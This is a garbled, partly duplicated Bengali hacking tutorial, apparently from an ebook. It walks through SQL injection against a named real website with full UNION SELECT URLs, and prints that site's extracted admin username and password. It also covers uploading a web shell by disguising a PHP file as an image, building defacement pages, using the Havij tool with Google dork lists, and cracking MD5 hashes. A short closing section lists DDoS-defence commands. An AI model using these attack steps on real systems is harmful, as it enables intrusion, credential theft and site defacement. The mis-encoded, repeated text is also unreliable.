ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 49: Hacking Bangla eBook

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

